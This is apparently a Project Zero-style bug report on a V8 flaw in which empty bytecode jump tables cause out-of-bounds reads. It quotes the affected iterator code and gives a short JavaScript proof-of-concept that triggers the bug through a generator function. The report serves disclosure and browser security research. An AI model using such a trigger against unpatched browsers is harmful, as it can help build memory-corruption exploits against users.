Chrome: V8: Empty BytecodeJumpTable may lead to OOB read
In the current implementation, the bytecode generator also emits empty jump tables.
https://cs.chromium.org/chromium/src/v8/src/interpreter/bytecode-array-writer.cc?rcl=111e990462823c9faeee06b67c0dcf05749d4da8&l=89
So the bytecode for the example code would be generated as follows:
Code:
function* opt() {
for (;;)
if (true) {
} else {
yield; // never richs, never hits BindJumpTableEntry
}
}
Bytecode:
...
0x35dda532a2a5 @ 75 : 90 04 01 01 SwitchOnSmiNoFeedback [4], [1], [1] { } <<--- SIZE: 1, but EMPTY
...
Here's a snippet of JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid which is used to enumerate a jump table.
void JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid() {
if (table_offset_ >= table_end_) return;
current_ = accessor_->GetConstantAtIndex(table_offset_);
Isolate* isolate = accessor_->bytecode_array()->GetIsolate();
while (current_->IsTheHole(isolate)) {
++table_offset_;
++index_;
current_ = accessor_->GetConstantAtIndex(table_offset_);
}
}
If the jump table is empty, table_offset_ may exceed table_end_. As a result, out-of-bounds reads occur.
PoC:
function* opt() {
for (;;)
if (true) {
} else {
yield;
}
for (;;)
if (true) {
} else {
yield; yield; yield; yield; yield; yield; yield; yield;
}
}
for (let i = 0; i < 100000; i++)
opt();
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
Found by: lokihardt
